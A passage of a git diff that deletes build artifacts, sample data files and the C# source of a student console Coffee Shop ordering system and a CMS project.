Here/C#/CMS/bin/Debug/CMS.exe.config deleted file mode 100644 index 56efbc7b5f1..00000000000 --- a/Add Code Here/C#/CMS/bin/Debug/CMS.exe.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/Add Code Here/C#/CMS/bin/Debug/CMS.pdb b/Add Code Here/C#/CMS/bin/Debug/CMS.pdb deleted file mode 100644 index 441f03d638f..00000000000 Binary files a/Add Code Here/C#/CMS/bin/Debug/CMS.pdb and /dev/null differ diff --git a/Add Code Here/C#/CMS/bin/Debug/Notice.txt b/Add Code Here/C#/CMS/bin/Debug/Notice.txt deleted file mode 100644 index 57608c2642d..00000000000 --- a/Add Code Here/C#/CMS/bin/Debug/Notice.txt +++ /dev/null @@ -1 +0,0 @@ -hi how are you diff --git a/Add Code Here/C#/CMS/bin/Debug/Result.txt b/Add Code Here/C#/CMS/bin/Debug/Result.txt deleted file mode 100644 index aa8fe8e9ca7..00000000000 --- a/Add Code Here/C#/CMS/bin/Debug/Result.txt +++ /dev/null @@ -1,2 +0,0 @@ -husasin,90,66,90,100,78,123455 -Ali,89,87,99,85,67,123451 diff --git a/Add Code Here/C#/CMS/bin/Debug/Student.txt b/Add Code Here/C#/CMS/bin/Debug/Student.txt deleted file mode 100644 index 19e83ef5a9b..00000000000 --- a/Add Code Here/C#/CMS/bin/Debug/Student.txt +++ /dev/null @@ -1,2 +0,0 @@ -Ali,uiua,FSC,124541,123451,1090,%625562,453142521,A -husasin,ali,FSC,1234,123455,1099,7623763276423,13421,A diff --git a/Add Code Here/C#/CMS/bin/Debug/Teacher.txt b/Add Code Here/C#/CMS/bin/Debug/Teacher.txt deleted file mode 100644 index 4e540203764..00000000000 --- a/Add Code Here/C#/CMS/bin/Debug/Teacher.txt +++ /dev/null @@ -1 +0,0 @@ -ali,professor,12345,12,math,776376763,67832678623,90909 diff --git a/Add Code Here/C#/CMS/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/Add Code Here/C#/CMS/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs deleted file mode 100644 index 3871b184d3f..00000000000 --- a/Add Code Here/C#/CMS/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs +++ /dev/null @@ -1,4 +0,0 @@ -// -using System; -using System.Reflection; -[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.AddResultForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.AddResultForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.AddResultForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.AddStudentForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.AddStudentForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.AddStudentForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.AddTeacherForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.AddTeacherForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.AddTeacherForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.AdminMenu.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.AdminMenu.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.AdminMenu.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.AllAttendanceForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.AllAttendanceForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.AllAttendanceForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.ChangePasswordForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.ChangePasswordForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.ChangePasswordForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.DL.AttendanceForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.DL.AttendanceForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.DL.AttendanceForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.DL.TimeTableFrom.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.DL.TimeTableFrom.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.DL.TimeTableFrom.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.EditPassword.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.EditPassword.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.EditPassword.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.EditUserForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.EditUserForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.EditUserForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.Form1.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.Form1.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.Form1.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.LoginForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.LoginForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.LoginForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.LoginFormForUser.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.LoginFormForUser.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.LoginFormForUser.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.NoticeForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.NoticeForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.NoticeForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.Properties.Resources.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.Properties.Resources.resources deleted file mode 100644 index 33cbcd959e5..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.Properties.Resources.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.RemoveStudentForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.RemoveStudentForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.RemoveStudentForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.RemoveTeacherForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.RemoveTeacherForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.RemoveTeacherForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.ResultForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.ResultForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.ResultForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.ShowResultForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.ShowResultForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.ShowResultForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.StudentLoginForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.StudentLoginForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.StudentLoginForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.StudentMenu.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.StudentMenu.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.StudentMenu.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.StudentNotice.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.StudentNotice.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.StudentNotice.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.TeacherMenu.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.TeacherMenu.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.TeacherMenu.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.UpdateRecordForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.UpdateRecordForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.UpdateRecordForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.UsersForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.UsersForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.UsersForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.ViewAllStudent.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.ViewAllStudent.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.ViewAllStudent.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.ViewAllTeachers.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.ViewAllTeachers.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.ViewAllTeachers.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.ViewDataForm.resources b/Add Code Here/C#/CMS/obj/Debug/CMS.ViewDataForm.resources deleted file mode 100644 index 6c05a9776bd..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.ViewDataForm.resources and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.AssemblyReference.cache b/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.AssemblyReference.cache deleted file mode 100644 index f7a81721854..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.AssemblyReference.cache and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.CoreCompileInputs.cache b/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.CoreCompileInputs.cache deleted file mode 100644 index 44376e9ccec..00000000000 --- a/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.CoreCompileInputs.cache +++ /dev/null @@ -1 +0,0 @@ -5a571e45941f2a52f8cc997d3d485ae8c2197a93 diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.FileListAbsolute.txt b/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.FileListAbsolute.txt deleted file mode 100644 index 3516e5cf7e3..00000000000 --- a/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.FileListAbsolute.txt +++ /dev/null @@ -1,36 +0,0 @@ -D:\S_2\PD\WEEK_10\CMS\bin\Debug\CMS.exe.config -D:\S_2\PD\WEEK_10\CMS\bin\Debug\CMS.exe -D:\S_2\PD\WEEK_10\CMS\bin\Debug\CMS.pdb -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.csproj.AssemblyReference.cache -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.Form1.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.Properties.Resources.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.csproj.GenerateResource.cache -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.csproj.CoreCompileInputs.cache -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.exe -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.pdb -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.AdminMenu.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.DL.TimeTableFrom.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.LoginForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.AddStudentForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.AddTeacherForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.RemoveStudentForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.RemoveTeacherForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.ViewAllStudent.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.ViewDataForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.ViewAllTeachers.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.AddResultForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.ShowResultForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.AllAttendanceForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.DL.AttendanceForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.LoginFormForUser.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.TeacherMenu.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.UsersForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.EditUserForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.UpdateRecordForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.NoticeForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.StudentLoginForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.StudentMenu.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.ChangePasswordForm.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.EditPassword.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.StudentNotice.resources -D:\S_2\PD\WEEK_10\CMS\obj\Debug\CMS.ResultForm.resources diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.GenerateResource.cache b/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.GenerateResource.cache deleted file mode 100644 index bbbbd9a1f7b..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.csproj.GenerateResource.cache and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.exe b/Add Code Here/C#/CMS/obj/Debug/CMS.exe deleted file mode 100644 index 06d688b430b..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.exe and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/CMS.pdb b/Add Code Here/C#/CMS/obj/Debug/CMS.pdb deleted file mode 100644 index 441f03d638f..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/CMS.pdb and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/DesignTimeResolveAssemblyReferences.cache b/Add Code Here/C#/CMS/obj/Debug/DesignTimeResolveAssemblyReferences.cache deleted file mode 100644 index 3cddff1d821..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/DesignTimeResolveAssemblyReferences.cache and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/Add Code Here/C#/CMS/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache deleted file mode 100644 index 2960f7f3f07..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache and /dev/null differ diff --git a/Add Code Here/C#/CMS/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll b/Add Code Here/C#/CMS/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll deleted file mode 100644 index 6565ac450d3..00000000000 Binary files a/Add Code Here/C#/CMS/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll and /dev/null differ diff --git a/Add Code Here/C#/Coffe-Shop-System/.vs/Task_1/v16/.suo b/Add Code Here/C#/Coffe-Shop-System/.vs/Task_1/v16/.suo deleted file mode 100644 index c3c0330327c..00000000000 Binary files a/Add Code Here/C#/Coffe-Shop-System/.vs/Task_1/v16/.suo and /dev/null differ diff --git a/Add Code Here/C#/Coffe-Shop-System/App.config b/Add Code Here/C#/Coffe-Shop-System/App.config deleted file mode 100644 index 56efbc7b5f1..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/App.config +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/Add Code Here/C#/Coffe-Shop-System/BL/CoffeeShop.cs b/Add Code Here/C#/Coffe-Shop-System/BL/CoffeeShop.cs deleted file mode 100644 index bc2a449f03c..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/BL/CoffeeShop.cs +++ /dev/null @@ -1,17 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Task_1.BL -{ - class CoffeeShop - { - string Name; - public CoffeeShop(string Name) - { - this.Name = Name; - } - } -} diff --git a/Add Code Here/C#/Coffe-Shop-System/BL/MenuItems.cs b/Add Code Here/C#/Coffe-Shop-System/BL/MenuItems.cs deleted file mode 100644 index 81b39ce4c54..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/BL/MenuItems.cs +++ /dev/null @@ -1,34 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; - -namespace Task_1.BL -{ - class MenuItems - { - string Name; - string Type; - float Price; - public MenuItems(string Name,string Type,float Price) - { - this.Name = Name; - this.Price = Price; - this.Type = Type; - } - public string getName() - { - return Name; - } - public string getType() - { - return Type; - } - public float getPrice() - { - return Price; - } - - } -} diff --git a/Add Code Here/C#/Coffe-Shop-System/ClassDiagram1.cd b/Add Code Here/C#/Coffe-Shop-System/ClassDiagram1.cd deleted file mode 100644 index 86acc6fdcd6..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/ClassDiagram1.cd +++ /dev/null @@ -1,35 +0,0 @@ - - - - - - AAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA= - BL\CoffeeShop.cs - - - - - - AAAAAAAAAQAAAAAAAAAAABQAAQAAAAAAAQAEAAAAAAA= - BL\MenuItems.cs - - - - - - AIEQCAEiAAAAAAAAAAAAEAQAAAAIAgAAAAAAIAAAAAA= - DL\COFFESHOP.cs - - - - - - - - - ACAAAAAAABAAAAEAAAAAAAgAAAAAAAAAAAAAAAAAAAA= - UI\MENUUI.cs - - - - \ No newline at end of file diff --git a/Add Code Here/C#/Coffe-Shop-System/DL/COFFESHOP.cs b/Add Code Here/C#/Coffe-Shop-System/DL/COFFESHOP.cs deleted file mode 100644 index 8ffac519249..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/DL/COFFESHOP.cs +++ /dev/null @@ -1,127 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using Task_1.BL; -using Task_1.UI; - -namespace Task_1.DL -{ - class COFFESHOP - { - string Name; - public static List Orders = new List(); - public static List Menu = new List(); - public static void readData(string Path) - { - StreamReader CFile = new StreamReader(Path); - string Record; - if(File.Exists(Path)) - { - while((Record = CFile.ReadLine())!=null) - { - string[] SplitRecord = Record.Split(','); - string Name = SplitRecord[0]; - string Type = SplitRecord[1]; - float Price =float.Parse( SplitRecord[2]); - MenuItems Item = new MenuItems(Name, Type, Price); - AddItemsintoList(Item); - } - CFile.Close(); - Console.WriteLine("Data Loaded Successfully "); - } - } - public static void storeData(string Path,MenuItems Item) - { - StreamWriter Writer = new StreamWriter(Path, true); - Writer.WriteLine(Item.getName() + "," + Item.getType() + "," + Item.getPrice()); - Writer.Flush(); - Writer.Close(); - } - public static void AddItemsintoList(MenuItems Item) - { - Menu.Add(Item); - } - public static string cheapestItem() - { - for(int i=0;i drinkOnly() - { - List Temp = new List(); - for(int i=0;i foodOnly() - { - List Temp = new List(); - for (int i = 0; i < Menu.Count; i++) - { - if (Menu[i].getType() == "FOOD") - { - Temp.Add(Menu[i].getName()); - } - } - return Temp; - } - public static void AddOrder(List Temp) - { - Orders.AddRange(Temp); - } - public static void fulfillOrder() - { - for(int i=0;i Drink = COFFESHOP.drinkOnly(); - for(int i=0;i Drink = COFFESHOP.foodOnly(); - for (int i = 0; i < Drink.Count; i++) - { - Console.WriteLine("Food Item is "+Drink[i] + " "); - } - } - else if(option == '5') - { - List Order = MENUUI.addOrder(); - COFFESHOP.AddOrder(Order); - } - else if(option == '6') - { - COFFESHOP.fulfillOrder(); - } - else if(option == '7') - { - COFFESHOP.viewOrderList(); - } - else if(option == '8') - { - float Result = COFFESHOP.totalPayableAmount(); - Console.WriteLine("Total Amount is " + Result); - } - else if(option == '9') - { - break; - } - else - { - continue; - } - } - - } - - } -} diff --git a/Add Code Here/C#/Coffe-Shop-System/Properties/AssemblyInfo.cs b/Add Code Here/C#/Coffe-Shop-System/Properties/AssemblyInfo.cs deleted file mode 100644 index 1f8d093927e..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/Properties/AssemblyInfo.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -// General Information about an assembly is controlled through the following -// set of attributes. Change these attribute values to modify the information -// associated with an assembly. -[assembly: AssemblyTitle("Task_1")] -[assembly: AssemblyDescription("")] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyCompany("")] -[assembly: AssemblyProduct("Task_1")] -[assembly: AssemblyCopyright("Copyright © 2022")] -[assembly: AssemblyTrademark("")] -[assembly: AssemblyCulture("")] - -// Setting ComVisible to false makes the types in this assembly not visible -// to COM components. If you need to access a type in this assembly from -// COM, set the ComVisible attribute to true on that type. -[assembly: ComVisible(false)] - -// The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("95602a6f-a5d6-4f7c-8dd1-c1a9dfa05c18")] - -// Version information for an assembly consists of the following four values: -// -// Major Version -// Minor Version -// Build Number -// Revision -// -// You can specify all the values or you can default the Build and Revision Numbers -// by using the '*' as shown below: -// [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.0.0.0")] -[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/Add Code Here/C#/Coffe-Shop-System/Task_1.csproj b/Add Code Here/C#/Coffe-Shop-System/Task_1.csproj deleted file mode 100644 index f94a5ac109a..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/Task_1.csproj +++ /dev/null @@ -1,58 +0,0 @@ - - - - - Debug - AnyCPU - {95602A6F-A5D6-4F7C-8DD1-C1A9DFA05C18} - Exe - Task_1 - Task_1 - v4.7.2 - 512 - true - true - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/C#/Coffe-Shop-System/Task_1.sln b/Add Code Here/C#/Coffe-Shop-System/Task_1.sln deleted file mode 100644 index f2f9d0ee4a5..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/Task_1.sln +++ /dev/null @@ -1,25 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 16 -VisualStudioVersion = 16.0.32228.343 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Task_1", "Task_1.csproj", "{95602A6F-A5D6-4F7C-8DD1-C1A9DFA05C18}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {95602A6F-A5D6-4F7C-8DD1-C1A9DFA05C18}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {95602A6F-A5D6-4F7C-8DD1-C1A9DFA05C18}.Debug|Any CPU.Build.0 = Debug|Any CPU - {95602A6F-A5D6-4F7C-8DD1-C1A9DFA05C18}.Release|Any CPU.ActiveCfg = Release|Any CPU - {95602A6F-A5D6-4F7C-8DD1-C1A9DFA05C18}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection - GlobalSection(ExtensibilityGlobals) = postSolution - SolutionGuid = {20B4BF9B-C521-41A3-A658-1DC59E9A0C44} - EndGlobalSection -EndGlobal diff --git a/Add Code Here/C#/Coffe-Shop-System/UI/MENUUI.cs b/Add Code Here/C#/Coffe-Shop-System/UI/MENUUI.cs deleted file mode 100644 index cf980906a44..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/UI/MENUUI.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using Task_1.BL; -using Task_1.DL; - -namespace Task_1.UI -{ - class MENUUI - { - public static char menu() - { - Console.WriteLine(); - Console.WriteLine(); - Console.WriteLine("1. Add MenuItems"); - Console.WriteLine("2. View The Cheapest Item In The Menu"); - Console.WriteLine("3. View The Drink Menu"); - Console.WriteLine("4. View The Food Item"); - Console.WriteLine("5. Add Order"); - Console.WriteLine("6. Fulfill Order"); - Console.WriteLine("7. View The Order List"); - Console.WriteLine("8. Total Payable Amount"); - Console.WriteLine("9. Exit"); - Console.WriteLine(); - char Option; - Option = char.Parse(Console.ReadLine()); - return Option; - } - public static MenuItems AddMenu(string Path) - { - Console.WriteLine("Enter Name of Item"); - string name = Console.ReadLine(); - Console.WriteLine("Enter Type of Items"); - string type = Console.ReadLine(); - type = type.ToUpper(); - Console.WriteLine("Enter price of items"); - int price = int.Parse(Console.ReadLine()); - MenuItems Item = new MenuItems(name,type,price); - COFFESHOP.storeData(Path, Item); - return Item; - } - public static void clearScreen() - { - Console.WriteLine(); - Console.WriteLine("Press Any Key To Continue "); - Console.Clear(); - } - public static List addOrder() - { - string Item; - bool flag = false; - List Order = new List(); - Console.WriteLine("How many order you want to place "); - int count = int.Parse(Console.ReadLine()); - for (int i = 0; i < count; i++) - { - Console.WriteLine("Enter Item Name"); - Item = Console.ReadLine(); - for (int y=0;y - - - - - \ No newline at end of file diff --git a/Add Code Here/C#/Coffe-Shop-System/bin/Debug/Task_1.pdb b/Add Code Here/C#/Coffe-Shop-System/bin/Debug/Task_1.pdb deleted file mode 100644 index 5218d01f142..00000000000 Binary files a/Add Code Here/C#/Coffe-Shop-System/bin/Debug/Task_1.pdb and /dev/null differ diff --git a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs b/Add Code Here/C#/Coffe-Shop-System/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs deleted file mode 100644 index 3871b184d3f..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/.NETFramework,Version=v4.7.2.AssemblyAttributes.cs +++ /dev/null @@ -1,4 +0,0 @@ -// -using System; -using System.Reflection; -[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")] diff --git a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache b/Add Code Here/C#/Coffe-Shop-System/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache deleted file mode 100644 index 3fb80fffc53..00000000000 Binary files a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache and /dev/null differ diff --git a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.csproj.AssemblyReference.cache b/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.csproj.AssemblyReference.cache deleted file mode 100644 index 8572e72644e..00000000000 Binary files a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.csproj.AssemblyReference.cache and /dev/null differ diff --git a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.csproj.CoreCompileInputs.cache b/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.csproj.CoreCompileInputs.cache deleted file mode 100644 index f58194de393..00000000000 --- a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.csproj.CoreCompileInputs.cache +++ /dev/null @@ -1 +0,0 @@ -418cc89a9073cc724eca1e76d43ba08e60edad71 diff --git a/Add Code Here/C#/Coffe-Shop-System/obj/Debug/Task_1.csproj.FileListAbsolute.txt b/Add 